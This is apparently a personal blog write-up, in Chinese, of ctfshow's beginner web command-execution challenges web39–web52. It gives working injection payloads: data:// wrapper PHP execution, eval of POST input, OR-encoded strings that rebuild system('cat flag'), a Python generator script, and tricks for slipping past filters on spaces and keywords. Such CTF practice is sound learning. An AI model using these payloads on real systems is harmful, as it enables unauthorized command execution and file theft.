ctfshow web入门 命令执行
昨天看了一下我的博客真的很恼火,不好看,还是用md来写吧
web39
查看源代码
看到include了,还是包含(其实不是)
源代码意思是当c不含flag的时候把c当php文件运行
php伪协议绕过php文件执行
data://text/plain
绕过执行php,然后构造一个我们真正想要执行的php
构造payload:
?c=data://text/plain,<?= system("cat fl*");?>
别忘记加http://
web40
第一种方法
查的可能使用的函数
localeconv():返回包含本地数字及货币格式信息的数组。其中数组中的第一个为点好“.”
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排序
next():函数将内部指针指向下一元素,并输出
highlight_file():输出(#对文件进行语法高亮显示。)
show_source():输出(#对文件进行语法高亮显示。)
print_r():“print_r可以输出stirng、int、float、array、object等,
过滤了很多符号,但是括号好像是中文的
日常查看文件
查看不了那就用我们上面查到的资料
查看文件,到手
**(?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));)**
第二种方法
**?c=eval(array_pop(next(get_defined_vars())));**
get_defined_vars():该函数返回一个包含当前上下文中所有已定义变量的数组。
next(get_defined_vars()):next()函数会将内部指针向前移动到数组中的下一个元素,并返回这个新指针指向的值。在这里,它获取并返回get_defined_vars()数组中的下一个元素,也就是下一个已定义变量。
array_pop(...):array_pop()函数用于弹出数组的最后一个单元,并返回这个单元的值。在此处,它会从上一步获取的变量中移除并返回最后一个元素(值)。
eval(...):这是一个危险的函数,它可以将字符串作为PHP代码执行
说白话就是读文件的,读出来之后传命令
然后传POST (c=passthru(“tac flag.php”)😉
web41
法一
过滤了很多符号,但是仔细观察会发现 | 灭有被过滤
但是这种构造方法我也不会哇,查一下吧
在url中**%数字**可以被当成是数字为十六进制所对应的ASCII表中的字符 例如:%73==s
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
构造的时候只需要进行构造字母和空格就行
system("ls");
为什么不写成:("%13|%60")("%19|%60")("%13|%60")("%14|%60")...,因为这样在php语言中是不合法的
所以查看文件
不知道为什么system被禁了,根本查看不了,后面可以补法一如果我做出来之后
做出来了
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")
相当于
system("cat fla*");
法二
import re
import requests
if __name__ == '__main__':
url = "http://371ec084-e7b9-4456-88c8-f8cc9bab4530.challenge.ctf.show/" #题目地址
a = []
ans1 = ""
ans2 = ""
for i in range(0, 256):
c = chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
if tmp:
continue
# print(tmp.group(0))
else:
# 将不被过滤的字符加入a数组
a.append(i)
# eval("echo($c);");
mya = "system" # 函数名 这里修改!
myb = "cat flag.php" # 参数
def myfun(k, my):
global ans1
global ans2
for i in range(0, len(a)):
for j in range(i, len(a)):
if a[i] | a[j] == ord(my[k]):
ans1 += chr(a[i])
ans2 += chr(a[j])
return;
for k in range(0, len(mya)):
myfun(k, mya)
data1 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
ans1 = ""
ans2 = ""
for k in range(0, len(myb)):
myfun(k, myb)
data2 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
# [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-
data = {"c": data1 + data2}
print(data)
r = requests.post(url=url, data=data)
print(r.text)
web42
由于 >/dev/null 2>&1
命令执行的结果不论正确与否都不会显示在页面上,而是被丢弃。
想让命令回显要进行分割
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
%0a 换行符
构造最简单的?c=cat flag.php;
web43
cat和;都被 过滤
?c=ls%0a(查看)
?c=tac flag.php%0a
web44
flag过滤
?c=tac fl*%0a
web45
貌似是还有空格也别绕过了,但是我会%09啊
而且Tab也可以用
?c=tac%09fl*%0a
web46
数字也没了(最重要的通配符*也没了)
?c=tac%09fla\g.php%0a
?c=tac%09fla''g.php%0a
web47
过滤了很多看文件的命令但是无所谓我的payload没有哈哈哈
?c=tac%09fla\g.php%0a
web48
还是可以用上道题做的那个
web49
还是没影响
web50
还是没影响
试了一下不对,有影响因为我flag那里用来绕过的东西没了
过滤了%,所以我去查了一下怎么重新绕过空格
< 这个符号可以
?c=tac<fla''g.php||
web51
tac绕过了用nl
?c=nl<fla''g.php||
web52
又想了新的一种空格替换${IFS}
?c=nl${IFS}fla''g.php||
构造ctfshow{flag_here},结果不对
那我们看一下目录
?c=ls${IFS}/||
(看根目录下面的文件)
然后我们就直接看flag就行了
看了个寂寞,但是回头一想我们刚才看的文件是在根目录下面所以我们应该改为
?c=nl${IFS}/fla''g||